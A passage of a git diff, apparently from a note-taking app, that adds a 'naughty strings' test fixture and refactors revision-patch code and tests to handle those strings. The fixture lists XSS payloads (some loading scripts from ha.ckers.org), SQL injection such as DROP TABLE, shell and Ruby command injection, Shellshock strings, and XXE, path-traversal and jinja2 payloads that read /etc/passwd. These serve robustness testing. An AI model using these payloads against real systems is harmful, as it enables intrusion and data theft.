DEF
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+
test
+`"'>
+`"'>
+`"'>
+`"'>
+`"'>
+`"'>
+`"'>
+`"'>
+`"'>
+`"'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+"`'>
+
![]()
+
![]()
+
![]()
+
![]()
+
+
+
+
+
+
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![]()
+![](x\x09onerror="javascript:alert(187)")
+![](x\x10onerror="javascript:alert(188)")
+![](x\x11onerror="javascript:alert(189)")
+![](x\x12onerror="javascript:alert(190)")
+![](x\x13onerror="javascript:alert(191)")
+
+
+
+
+
+
+
+XXX
+</script>)
+![]()
+
+<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(203)></a>">
+<!--[if]><script>javascript:alert(204)</script -->
+<!--[if<img src=x onerror=javascript:alert(205)//]> -->
+<script src="/\%(jscript)s"></script>
+<script src="\\%(jscript)s"></script>
+<IMG """><SCRIPT>alert("206")</SCRIPT>">
+<IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
+<IMG SRC=# onmouseover="alert('208')">
+<IMG SRC= onmouseover="alert('209')">
+<IMG onmouseover="alert('210')">
+<IMG SRC=javascript:alert('211')>
+<IMG SRC=javascript:alert('212')>
+<IMG SRC=javascript:alert('213')>
+<IMG SRC="jav ascript:alert('214');">
+<IMG SRC="jav ascript:alert('215');">
+<IMG SRC="jav
ascript:alert('216');">
+<IMG SRC="jav
ascript:alert('217');">
+perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
+<IMG SRC=" javascript:alert('219');">
+<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
+<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
+<<SCRIPT>alert("221");//<</SCRIPT>
+<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
+<SCRIPT SRC=//ha.ckers.org/.j>
+<IMG SRC="javascript:alert('222')"
+<iframe src=http://ha.ckers.org/scriptlet.html <
+\";alert('223');//
+<u oncopy=alert()> Copy me</u>
+<i onwheel=alert(224)> Scroll over me </i>
+<plaintext>
+http://a/%%30%30
+</textarea><script>alert(225)</script>
+
+# SQL Injection
+#
+# Strings which can cause a SQL injection if inputs are not sanitized
+
+1;DROP TABLE users
+1'; DROP TABLE users-- 1
+' OR 1=1 -- 1
+' OR '1'='1
+'; EXEC sp_MSForEachTable 'DROP TABLE ?'; --
+
+%
+_
+
+# Server Code Injection
+#
+# Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)
+
+-
+--
+--version
+--help
+$USER
+/dev/null; touch /tmp/blns.fail ; echo
+`touch /tmp/blns.fail`
+$(touch /tmp/blns.fail)
+@{[system "touch /tmp/blns.fail"]}
+
+# Command Injection (Ruby)
+#
+# Strings which can call system commands within Ruby/Rails applications
+
+eval("puts 'hello world'")
+System("ls -al /")
+`ls -al /`
+Kernel.exec("ls -al /")
+Kernel.exit(1)
+%x('ls -al /')
+
+# XXE Injection (XML)
+#
+# String which can reveal system files when parsed by a badly configured XML parser
+
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
+
+# Unwanted Interpolation
+#
+# Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.
+
+$HOME
+$ENV{'HOME'}
+%d
+%s%s%s%s%s
+{0}
+%*.*s
+%@
+%n
+File:///
+
+# File Inclusion
+#
+# Strings which can cause user to pull in files that should not be a part of a web server
+
+../../../../../../../../../../../etc/passwd%00
+../../../../../../../../../../../etc/hosts
+
+# Known CVEs and Vulnerabilities
+#
+# Strings that test for known vulnerabilities
+
+() { 0; }; touch /tmp/blns.shellshock1.fail;
+() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
+<<< %s(un='%s') = %u
++++ATH0
+
+# MSDOS/Windows Special Filenames
+#
+# Strings which are reserved characters in MSDOS/Windows
+
+CON
+PRN
+AUX
+CLOCK$
+NUL
+A:
+ZZ:
+COM1
+LPT1
+LPT2
+LPT3
+COM2
+COM3
+COM4
+
+# IRC specific strings
+#
+# Strings that may occur on IRC clients that make security products freak out
+
+DCC SEND STARTKEYLOGGER 0 0 0
+
+# Scunthorpe Problem
+#
+# Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
+
+Scunthorpe General Hospital
+Penistone Community Church
+Lightwater Country Park
+Jimmy Clitheroe
+Horniman Museum
+shitake mushrooms
+RomansInSussex.co.uk
+http://www.cum.qc.ca/
+Craig Cockburn, Software Specialist
+Linda Callahan
+Dr. Herman I. Libshitz
+magna cum laude
+Super Bowl XXX
+medieval erection of parapets
+evaluate
+mocha
+expression
+Arsenal canal
+classic
+Tyson Gay
+Dick Van Dyke
+basement
+
+# Human injection
+#
+# Strings which may cause human to reinterpret worldview
+
+If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
+
+# Terminal escape codes
+#
+# Strings which punish the fools who use cat/type on this file
+
+Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue
+But now...[20Cfor my greatest trick...[8m
+The quick brown fox... [Beeeep]
+
+# iOS Vulnerabilities
+#
+# Strings which crashed iMessage in various versions of iOS
+
+Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
+🏳0🌈️
+జ్ఞా
+
+# Persian special characters
+#
+# This is a four characters string which includes Persian special characters (گچپژ)
+
+گچپژ
+
+# jinja2 injection
+#
+# first one is supposed to raise "MemoryError" exception
+# second, obviously, prints contents of /etc/passwd
+
+{% print 'x' * 64 * 1024**3 %}
+{{ "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
diff --git a/packages/lib/models/Note.ts b/packages/lib/models/Note.ts
index 5832ba3334..a5efb9481d 100644
--- a/packages/lib/models/Note.ts
+++ b/packages/lib/models/Note.ts
@@ -633,7 +633,7 @@ export default class Note extends BaseItem {
return n.updated_time < date;
}
- static async save(o: NoteEntity, options: any = null) {
+ public static async save(o: NoteEntity, options: any = null): Promise<NoteEntity> {
const isNew = this.isNew(o, options);
// If true, this is a provisional note - it will be saved permanently
diff --git a/packages/lib/models/Revision.test.js b/packages/lib/models/Revision.test.js
deleted file mode 100644
index d369711913..0000000000
--- a/packages/lib/models/Revision.test.js
+++ /dev/null
@@ -1,92 +0,0 @@
-const { setupDatabaseAndSynchronizer, switchClient } = require('../testing/test-utils.js');
-const Note = require('../models/Note').default;
-const Revision = require('../models/Revision').default;
-
-describe('models_Revision', function() {
-
- beforeEach(async (done) => {
- await setupDatabaseAndSynchronizer(1);
- await switchClient(1);
- done();
- });
-
- it('should create patches of text and apply it', (async () => {
- const note1 = await Note.save({ body: 'my note\nsecond line' });
-
- const patch = Revision.createTextPatch(note1.body, 'my new note\nsecond line');
- const merged = Revision.applyTextPatch(note1.body, patch);
-
- expect(merged).toBe('my new note\nsecond line');
- }));
-
- it('should create patches of objects and apply it', (async () => {
- const oldObject = {
- one: '123',
- two: '456',
- three: '789',
- };
-
- const newObject = {
- one: '123',
- three: '999',
- };
-
- const patch = Revision.createObjectPatch(oldObject, newObject);
- const merged = Revision.applyObjectPatch(oldObject, patch);
-
- expect(JSON.stringify(merged)).toBe(JSON.stringify(newObject));
- }));
-
- it('should move target revision to the top', (async () => {
- const revs = [
- { id: '123' },
- { id: '456' },
- { id: '789' },
- ];
-
- let newRevs;
- newRevs = Revision.moveRevisionToTop({ id: '456' }, revs);
- expect(newRevs[0].id).toBe('123');
- expect(newRevs[1].id).toBe('789');
- expect(newRevs[2].id).toBe('456');
-
- newRevs = Revision.moveRevisionToTop({ id: '789' }, revs);
- expect(newRevs[0].id).toBe('123');
- expect(newRevs[1].id).toBe('456');
- expect(newRevs[2].id).toBe('789');
- }));
-
- it('should create patch stats', (async () => {
- const tests = [
- {
- patch: `@@ -625,16 +625,48 @@
- rrupted download
-+%0A- %5B %5D Fix mobile screen options`,
- expected: [-0, +32],
- },
- {
- patch: `@@ -564,17 +564,17 @@
- ages%0A- %5B
--
-+x
- %5D Check `,
- expected: [-1, +1],
- },
- {
- patch: `@@ -1022,56 +1022,415 @@
- .%0A%0A#
-- How to view a note history%0A%0AWhile all the apps
-+%C2%A0How does it work?%0A%0AAll the apps save a version of the modified notes every 10 minutes.
- %0A%0A# `,
- expected: [-(19 + 27 + 2), 17 + 67 + 4],
- },
- ];
-
- for (const test of tests) {
- const stats = Revision.patchStats(test.patch);
- expect(stats.removed).toBe(-test.expected[0]);
- expect(stats.added).toBe(test.expected[1]);
- }
- }));
-
-});
diff --git a/packages/lib/models/Revision.test.ts b/packages/lib/models/Revision.test.ts
new file mode 100644
index 0000000000..280e469433
--- /dev/null
+++ b/packages/lib/models/Revision.test.ts
@@ -0,0 +1,194 @@
+import { expectNotThrow, naughtyStrings, setupDatabaseAndSynchronizer, switchClient } from '../testing/test-utils';
+import Note from '../models/Note';
+import Revision from '../models/Revision';
+
+describe('models/Revision', function() {
+
+ beforeEach(async (done) => {
+ await setupDatabaseAndSynchronizer(1);
+ await switchClient(1);
+ done();
+ });
+
+ it('should create patches of text and apply it', (async () => {
+ const note1 = await Note.save({ body: 'my note\nsecond line' });
+
+ const patch = Revision.createTextPatch(note1.body, 'my new note\nsecond line');
+ const merged = Revision.applyTextPatch(note1.body, patch);
+
+ expect(merged).toBe('my new note\nsecond line');
+ }));
+
+ it('should check if it is an empty revision', async () => {
+ const testCases = [
+ [false, {
+ title_diff: '',
+ body_diff: '',
+ metadata_diff: '{"new":{"id":"aaa"},"deleted":[]}',
+ }],
+ [true, {
+ title_diff: '',
+ body_diff: '',
+ metadata_diff: '',
+ }],
+ [true, {
+ title_diff: '[]',
+ body_diff: '',
+ metadata_diff: '{"new":{},"deleted":[]}',
+ }],
+ [true, {
+ title_diff: '',
+ body_diff: '[]',
+ metadata_diff: '{"new":{},"deleted":[]}',
+ }],
+ [false, {
+ title_diff: '[{"diffs":[[1,"hello"]],"start1":0,"start2":0,"length1":0,"length2":5}]',
+ body_diff: '[]',
+ metadata_diff: '{"new":{},"deleted":[]}',
+ }],
+ ];
+
+ for (const t of testCases) {
+ const [expected, input] = t;
+ expect(Revision.isEmptyRevision(input as any)).toBe(expected);
+ }
+ });
+
+ it('should not fail to create revisions on naughty strings', (async () => {
+ // Previously this pattern would fail:
+ // - Create a patch between an empty string and smileys
+ // - Use that patch on the empty string to get back the smileys
+ // - Create a patch between those smileys and new smileys
+ // https://github.com/JackuB/diff-match-patch/issues/22
+
+ const nss = await naughtyStrings();
+
+ // First confirm that it indeed fails with the legacy approach.
+ let errorCount = 0;
+
+ for (let i = 0; i < nss.length - 1; i++) {
+ const ns1 = nss[i];
+ const ns2 = nss[i + 1];
+ try {
+ const patchText = Revision.createTextPatchLegacy('', ns1);
+ const patchedText = Revision.applyTextPatchLegacy('', patchText);
+ Revision.createTextPatchLegacy(patchedText, ns2);
+ } catch (error) {
+ errorCount++;
+ }
+ }
+
+ expect(errorCount).toBe(10);
+
+ // Now feed the naughty list again but using the new approach. In that
+ // case it should work fine.
+ await expectNotThrow(async () => {
+ for (let i = 0; i < nss.length - 1; i++) {
+ const ns1 = nss[i];
+ const ns2 = nss[i + 1];
+ const patchText = Revision.createTextPatch('', ns1);
+ const patchedText = Revision.applyTextPatch('', patchText);
+ Revision.createTextPatch(patchedText, ns2);
+ }
+ });
+ }));
+
+ it('should successfully handle legacy patches', async () => {
+ // The code should handle applying a series of new style patches and
+ // legacy patches, and the correct text should be recovered at the end.
+ const changes = [
+ '',
+ 'one',
+ 'one three',
+ 'one two three',
+ ];
+
+ const patches = [
+ Revision.createTextPatch(changes[0], changes[1]),
+ Revision.createTextPatchLegacy(changes[1], changes[2]),
+ Revision.createTextPatch(changes[2], changes[3]),
+ ];
+
+ // Sanity check - verify that the patches are as expected
+ expect(patches[0].substr(0, 2)).toBe('[{'); // New
+ expect(patches[1].substr(0, 2)).toBe('@@'); // Legacy
+ expect(patches[2].substr(0, 2)).toBe('[{'); // New
+
+ let finalString = Revision.applyTextPatch(changes[0], patches[0]);
+ finalString = Revision.applyTextPatch(finalString, patches[1]);
+ finalString = Revision.applyTextPatch(finalString, patches[2]);
+
+ expect(finalString).toBe('one two three');
+ });
+
+ it('should create patches of objects and apply it', (async () => {
+ const oldObject = {
+ one: '123',
+ two: '456',
+ three: '789',
+ };
+
+ const newObject = {
+ one: '123',
+ three: '999',
+ };
+
+ const patch = Revision.createObjectPatch(oldObject, newObject);
+ const merged = Revision.applyObjectPatch(oldObject, patch);
+
+ expect(JSON.stringify(merged)).toBe(JSON.stringify(newObject));
+ }));
+
+ it('should move target revision to the top', (async () => {
+ const revs = [
+ { id: '123' },
+ { id: '456' },
+ { id: '789' },
+ ];
+
+ let newRevs;
+ newRevs = Revision.moveRevisionToTop({ id: '456' }, revs);
+ expect(newRevs[0].id).toBe('123');
+ expect(newRevs[1].id).toBe('789');
+ expect(newRevs[2].id).toBe('456');
+
+ newRevs = Revision.moveRevisionToTop({ id: '789' }, revs);
+ expect(newRevs[0].id).toBe('123');
+ expect(newRevs[1].id).toBe('456');
+ expect(newRevs[2].id).toBe('789');
+ }));
+
+ it('should create patch stats', (async () => {
+ const tests = [
+ {
+ patch: `@@ -625,16 +625,48 @@
+ rrupted download
++%0A- %5B %5D Fix mobile screen options`,
+ expected: [-0, +32],
+ },
+ {
+ patch: `@@ -564,17 +564,17 @@
+ ages%0A- %5B
+-
++x
+ %5D Check `,
+ expected: [-1, +1],
+ },
+ {
+ patch: `@@ -1022,56 +1022,415 @@
+ .%0A%0A#
+- How to view a note history%0A%0AWhile all the apps
++%C2%A0How does it work?%0A%0AAll the apps save a version of the modified notes every 10 minutes.
+ %0A%0A# `,
+ expected: [-(19 + 27 + 2), 17 + 67 + 4],
+ },
+ ];
+
+ for (const test of tests) {
+ const stats = Revision.patchStats(test.patch);
+ expect(stats.removed).toBe(-test.expected[0]);
+ expect(stats.added).toBe(test.expected[1]);
+ }
+ }));
+
+});
diff --git a/packages/lib/models/Revision.ts b/packages/lib/models/Revision.ts
index 91fcb513f6..11ff380457 100644
--- a/packages/lib/models/Revision.ts
+++ b/packages/lib/models/Revision.ts
@@ -17,17 +17,54 @@ export default class Revision extends BaseItem {
return BaseModel.TYPE_REVISION;
}
- static createTextPatch(oldText: string, newText: string) {
+ public static createTextPatchLegacy(oldText: string, newText: string): string {
return dmp.patch_toText(dmp.patch_make(oldText, newText));
}
- static applyTextPatch(text: string, patch: string) {
+ public static createTextPatch(oldText: string, newText: string): string {
+ return JSON.stringify(dmp.patch_make(oldText, newText));
+ }
+
+ public static applyTextPatchLegacy(text: string, patch: string): string {
patch = dmp.patch_fromText(patch);
const result = dmp.patch_apply(patch, text);
if (!result || !result.length) throw new Error('Could not apply patch');
return result[0];
}
+ private static isLegacyPatch(patch: string): boolean {
+ return patch && patch.indexOf('@@') === 0;
+ }
+
+ private static isNewPatch(patch: string): boolean {
+ if (!patch) return true;
+ return patch.indexOf('[{') === 0;
+ }
+
+ public static applyTextPatch(text: string, patch: string): string {
+ if (this.isLegacyPatch(patch)) {
+ return this.applyTextPatchLegacy(text, patch);
+ } else {
+ const result = dmp.patch_apply(JSON.parse(patch), text);
+ if (!result || !result.length) throw new Error('Could not apply patch');
+ return result[0];
+ }
+ }
+
+ public static isEmptyRevision(rev: RevisionEntity): boolean {
+ if (this.isLegacyPatch(rev.title_diff) && rev.title_diff) return false;
+ if (this.isLegacyPatch(rev.body_diff) && rev.body_diff) return false;
+
+ if (this.isNewPatch(rev.title_diff) && rev.title_diff && rev.title_diff !== '[]') return false;
+ if (this.isNewPatch(rev.body_diff) && rev.body_diff && rev.body_diff !== '[]') return false;
+
+ const md = rev.metadata_diff ? JSON.parse(rev.metadata_diff) : {};
+ if (md.new && Object.keys(md.new).length) return false;
+ if (md.deleted && Object.keys(md.deleted).length) return false;
+
+ return true;
+ }
+
static createObjectPatch(oldObject: any, newObject: any) {
if (!oldObject) oldObject = {};
diff --git a/packages/lib/services/RevisionService.test.js b/packages/lib/services/RevisionService.test.ts
similarity index 82%
rename from packages/lib/services/RevisionService.test.js
rename to packages/lib/services/RevisionService.test.ts
index 709a43b699..423378363e 100644
--- a/packages/lib/services/RevisionService.test.js
+++ b/packages/lib/services/RevisionService.test.ts
@@ -1,13 +1,11 @@
-/* eslint-disable no-unused-vars, @typescript-eslint/no-unused-vars, prefer-const */
-
-const time = require('../time').default;
-const { revisionService, setupDatabaseAndSynchronizer, switchClient } = require('../testing/test-utils.js');
-const Setting = require('../models/Setting').default;
-const Note = require('../models/Note').default;
-const ItemChange = require('../models/ItemChange').default;
-const Revision = require('../models/Revision').default;
-const BaseModel = require('../BaseModel').default;
-const RevisionService = require('../services/RevisionService').default;
+import time from '../time';
+import { revisionService, setupDatabaseAndSynchronizer, switchClient } from '../testing/test-utils';
+import Setting from '../models/Setting';
+import Note from '../models/Note';
+import ItemChange from '../models/ItemChange';
+import Revision from '../models/Revision';
+import BaseModel from '../BaseModel';
+import RevisionService from '../services/RevisionService';
describe('services_Revision', function() {
@@ -25,7 +23,7 @@ describe('services_Revision', function() {
await service.collectRevisions();
await Note.save({ id: n1_v1.id, title: 'hello', author: 'testing' });
await service.collectRevisions();
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'hello welcome', author: '' });
+ await Note.save({ id: n1_v1.id, title: 'hello welcome', author: '' });
await service.collectRevisions();
const revisions = await Revision.allByType(BaseModel.TYPE_NOTE, n1_v1.id);
@@ -49,6 +47,46 @@ describe('services_Revision', function() {
expect(revisions2.length).toBe(0);
}));
+ // ----------------------------------------------------------------------
+ // This is to verify that the revision service continues processing
+ // revisions even when it fails on one note. However, now that the
+ // diff-match-patch bug is fixed, it's not possible to create notes that
+ // would make the process fail. Keeping the test anyway in case such case
+ // comes up again.
+ // ----------------------------------------------------------------------
+
+ // it('should handle corrupted strings', (async () => {
+ // const service = new RevisionService();
+
+ // // Silence the logger because the revision service is going to print
+ // // errors.
+ // // Logger.globalLogger.enabled = false;
+
+ // const n1 = await Note.save({ body: '' });
+ // await service.collectRevisions();
+ // await Note.save({ id: n1.id, body: naughtyStrings[152] }); // REV 1
+ // await service.collectRevisions();
+ // await Note.save({ id: n1.id, body: naughtyStrings[153] }); // FAIL (Should have been REV 2)
+ // await service.collectRevisions();
+
+ // // Because it fails, only one revision was generated. The second was skipped.
+ // expect((await Revision.all()).length).toBe(1);
+
+ // // From this point, note 1 will always fail because of a
+ // // diff-match-patch bug:
+ // // https://github.com/JackuB/diff-match-patch/issues/22
+ // // It will throw "URI malformed". But it shouldn't prevent other notes
+ // // from getting revisions.
+
+ // const n2 = await Note.save({ body: '' });
+ // await service.collectRevisions();
+ // await Note.save({ id: n2.id, body: 'valid' }); // REV 2
+ // await service.collectRevisions();
+ // expect((await Revision.all()).length).toBe(2);
+
+ // Logger.globalLogger.enabled = true;
+ // }));
+
it('should delete old revisions (1 note, 2 rev)', (async () => {
const service = new RevisionService();
@@ -59,7 +97,7 @@ describe('services_Revision', function() {
const time_v1 = Date.now();
await time.msleep(100);
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'hello welcome' });
+ await Note.save({ id: n1_v1.id, title: 'hello welcome' });
await service.collectRevisions();
expect((await Revision.allByType(BaseModel.TYPE_NOTE, n1_v1.id)).length).toBe(2);
@@ -81,12 +119,12 @@ describe('services_Revision', function() {
const time_v1 = Date.now();
await time.msleep(100);
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'one two' });
+ await Note.save({ id: n1_v1.id, title: 'one two' });
await service.collectRevisions();
const time_v2 = Date.now();
await time.msleep(100);
- const n1_v3 = await Note.save({ id: n1_v1.id, title: 'one two three' });
+ await Note.save({ id: n1_v1.id, title: 'one two three' });
await service.collectRevisions();
{
@@ -124,8 +162,8 @@ describe('services_Revision', function() {
const time_n2_v1 = Date.now();
await time.msleep(100);
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'note 1 (v2)' });
- const n2_v2 = await Note.save({ id: n2_v1.id, title: 'note 2 (v2)' });
+ await Note.save({ id: n1_v1.id, title: 'note 1 (v2)' });
+ await Note.save({ id: n2_v1.id, title: 'note 2 (v2)' });
await service.collectRevisions();
expect((await Revision.all()).length).toBe(4);
@@ -167,9 +205,9 @@ describe('services_Revision', function() {
const noteId = n1_v1.id;
const rev1 = await service.createNoteRevision_(n1_v1);
const n1_v2 = await Note.save({ id: noteId, title: 'hello Paul' });
- const rev2 = await service.createNoteRevision_(n1_v2, rev1.id);
+ await service.createNoteRevision_(n1_v2, rev1.id);
const n1_v3 = await Note.save({ id: noteId, title: 'hello John' });
- const rev3 = await service.createNoteRevision_(n1_v3, rev1.id);
+ await service.createNoteRevision_(n1_v3, rev1.id);
const revisions = await Revision.allByType(BaseModel.TYPE_NOTE, noteId);
expect(revisions.length).toBe(3);
@@ -311,7 +349,7 @@ describe('services_Revision', function() {
const n1_v1 = await Note.save({ id: n1_v0.id, title: 'hello' });
await revisionService().collectRevisions(); // REV 1
await time.sleep(0.1);
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'hello welcome' });
+ await Note.save({ id: n1_v1.id, title: 'hello welcome' });
await revisionService().collectRevisions(); // REV 2
await time.sleep(0.1);
@@ -340,7 +378,7 @@ describe('services_Revision', function() {
const timeRev1 = Date.now();
await time.msleep(100);
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'hello welcome' });
+ await Note.save({ id: n1_v1.id, title: 'hello welcome' });
await revisionService().collectRevisions(); // REV 2
expect((await Revision.all()).length).toBe(2);
@@ -364,7 +402,7 @@ describe('services_Revision', function() {
const timeRev1 = Date.now();
await time.msleep(100);
- const n1_v2 = await Note.save({ id: n1_v1.id, title: 'hello welcome' });
+ await Note.save({ id: n1_v1.id, title: 'hello welcome' });
await revisionService().collectRevisions(); // REV 2
expect((await Revision.all()).length).toBe(2);
@@ -385,11 +423,11 @@ describe('services_Revision', function() {
it('should not create a revision if the note has not changed', (async () => {
const n1_v0 = await Note.save({ title: '' });
- const n1_v1 = await Note.save({ id: n1_v0.id, title: 'hello' });
+ await Note.save({ id: n1_v0.id, title: 'hello' });
await revisionService().collectRevisions(); // REV 1
expect((await Revision.all()).length).toBe(1);
- const n1_v2 = await Note.save({ id: n1_v0.id, title: 'hello' });
+ await Note.save({ id: n1_v0.id, title: 'hello' });
await revisionService().collectRevisions(); // Note has not changed (except its timestamp) so don't create a revision
expect((await Revision.all()).length).toBe(1);
}));
@@ -399,12 +437,12 @@ describe('services_Revision', function() {
// places so make sure it is saved correctly with the revision
const n1_v0 = await Note.save({ title: '' });
- const n1_v1 = await Note.save({ id: n1_v0.id, title: 'hello' });
+ await Note.save({ id: n1_v0.id, title: 'hello' });
await revisionService().collectRevisions(); // REV 1
expect((await Revision.all()).length).toBe(1);
const userUpdatedTime = Date.now() - 1000 * 60 * 60;
- const n1_v2 = await Note.save({ id: n1_v0.id, title: 'hello', updated_time: Date.now(), user_updated_time: userUpdatedTime }, { autoTimestamp: false });
+ await Note.save({ id: n1_v0.id, title: 'hello', updated_time: Date.now(), user_updated_time: userUpdatedTime }, { autoTimestamp: false });
await revisionService().collectRevisions(); // Only the user timestamp has changed, but that needs to be saved
const revisions = await Revision.all();
@@ -416,20 +454,20 @@ describe('services_Revision', function() {
it('should not create a revision if there is already a recent one', (async () => {
const n1_v0 = await Note.save({ title: '' });
- const n1_v1 = await Note.save({ id: n1_v0.id, title: 'hello' });
+ await Note.save({ id: n1_v0.id, title: 'hello' });
await revisionService().collectRevisions(); // REV 1
const timeRev1 = Date.now();
await time.sleep(2);
const timeRev2 = Date.now();
- const n1_v2 = await Note.save({ id: n1_v0.id, title: 'hello 2' });
+ await Note.save({ id: n1_v0.id, title: 'hello 2' });
await revisionService().collectRevisions(); // REV 2
expect((await Revision.all()).length).toBe(2);
const interval = Date.now() - timeRev1 + 1;
Setting.setValue('revisionService.intervalBetweenRevisions', interval);
- const n1_v3 = await Note.save({ id: n1_v0.id, title: 'hello 3' });
+ await Note.save({ id: n1_v0.id, title: 'hello 3' });
await revisionService().collectRevisions(); // No rev because time since last rev is less than the required 'interval between revisions'
expect(Date.now() - interval < timeRev2).toBe(true); // check the computer is not too slow for this test
expect((await Revision.all()).length).toBe(2);
diff --git a/packages/lib/services/RevisionService.ts b/packages/lib/services/RevisionService.ts
index b13dd58d47..f8836647ab 100644
--- a/packages/lib/services/RevisionService.ts
+++ b/packages/lib/services/RevisionService.ts
@@ -9,10 +9,13 @@ import shim from '../shim';
import BaseService from './BaseService';
import { _ } from '../locale';
import { ItemChangeEntity, NoteEntity, RevisionEntity } from './database/types';
+import Logger from '../Logger';
const { substrWithEllipsis } = require('../string-utils');
const { sprintf } = require('sprintf-js');
const { wrapError } = require('../errorUtils');
+const logger = Logger.create('RevisionService');
+
export default class RevisionService extends BaseService {
public static instance_: RevisionService;
@@ -60,18 +63,7 @@ export default class RevisionService extends BaseService {
return md;
}
- isEmptyRevision_(rev: RevisionEntity) {
- if (rev.title_diff) return false;
- if (rev.body_diff) return false;
-
- const md = JSON.parse(rev.metadata_diff);
- if (md.new && Object.keys(md.new).length) return false;
- if (md.deleted && Object.keys(md.deleted).length) return false;
-
- return true;
- }
-
- async createNoteRevision_(note: NoteEntity, parentRevId: string = null) {
+ public async createNoteRevision_(note: NoteEntity, parentRevId: string = null): Promise<RevisionEntity> {
try {
const parentRev = parentRevId ? await Revision.load(parentRevId) : await Revision.latestRevision(BaseModel.TYPE_NOTE, note.id);
@@ -100,7 +92,7 @@ export default class RevisionService extends BaseService {
output.metadata_diff = Revision.createObjectPatch(merged.metadata, noteMd);
}
- if (this.isEmptyRevision_(output)) return null;
+ if (Revision.isEmptyRevision(output)) return null;
return Revision.save(output);
} catch (error) {
@@ -109,7 +101,7 @@ export default class RevisionService extends BaseService {
}
}
- async collectRevisions() {
+ public async collectRevisions() {
if (this.isCollecting_) return;
this.isCollecting_ = true;
@@ -153,11 +145,11 @@ export default class RevisionService extends BaseService {
if (oldNote && oldNote.updated_time < this.oldNoteCutOffDate_()) {
// This is where we save the original version of this old note
const rev = await this.createNoteRevision_(oldNote);
- if (rev) this.logger().debug(sprintf('RevisionService::collectRevisions: Saved revision %s (old note)', rev.id));
+ if (rev) logger.debug(sprintf('RevisionService::collectRevisions: Saved revision %s (old note)', rev.id));
}
const rev = await this.createNoteRevision_(note);
- if (rev) this.logger().debug(sprintf('RevisionService::collectRevisions: Saved revision %s (Last rev was more than %d ms ago)', rev.id, Setting.value('revisionService.intervalBetweenRevisions')));
+ if (rev) logger.debug(sprintf('RevisionService::collectRevisions: Saved revision %s (Last rev was more than %d ms ago)', rev.id, Setting.value('revisionService.intervalBetweenRevisions')));
doneNoteIds.push(noteId);
this.isOldNotesCache_[noteId] = false;
}
@@ -168,7 +160,7 @@ export default class RevisionService extends BaseService {
const revExists = await Revision.revisionExists(BaseModel.TYPE_NOTE, note.id, note.updated_time);
if (!revExists) {
const rev = await this.createNoteRevision_(note);
- if (rev) this.logger().debug(sprintf('RevisionService::collectRevisions: Saved revision %s (for deleted note)', rev.id));
+ if (rev) logger.debug(sprintf('RevisionService::collectRevisions: Saved revision %s (for deleted note)', rev.id));
}
doneNoteIds.push(noteId);
}
@@ -181,9 +173,15 @@ export default class RevisionService extends BaseService {
// One or more revisions are encrypted - stop processing for now
// and these revisions will be processed next time the revision
// collector runs.
- this.logger().info('RevisionService::collectRevisions: One or more revision was encrypted. Processing was stopped but will resume later when the revision is decrypted.', error);
+ logger.info('RevisionService::collectRevisions: One or more revision was encrypted. Processing was stopped but will resume later when the revision is decrypted.', error);
} else {
- this.logger().error('RevisionService::collectRevisions:', error);
+ // Note that, for now, if any revision creation fails, the whole
+ // process fails. This is on purpose because if we keep on
+ // processing, whatever caused the error will be in the past
+ // changes (before revisionService.lastProcessedChangeId) and
+ // will never be processed again. Now that the diff-match-patch
+ // issue is fixed, there should be no such error anyway.
+ logger.error('RevisionService::collectRevisions:', error);
}
}
@@ -192,7 +190,7 @@ export default class RevisionService extends BaseService {
this.isCollecting_ = false;
- this.logger().info(`RevisionService::collectRevisions: Created revisions for ${doneNoteIds.length} notes`);
+ logger.info(`RevisionService::collectRevisions: Created revisions for ${doneNoteIds.length} notes`);
}
async deleteOldRevisions(ttl: number) {
@@ -266,23 +264,23 @@ export default class RevisionService extends BaseService {
this.maintenanceCalls_.push(true);
try {
const startTime = Date.now();
- this.logger().info('RevisionService::maintenance: Starting...');
+ logger.info('RevisionService::maintenance: Starting...');
if (!Setting.value('revisionService.enabled')) {
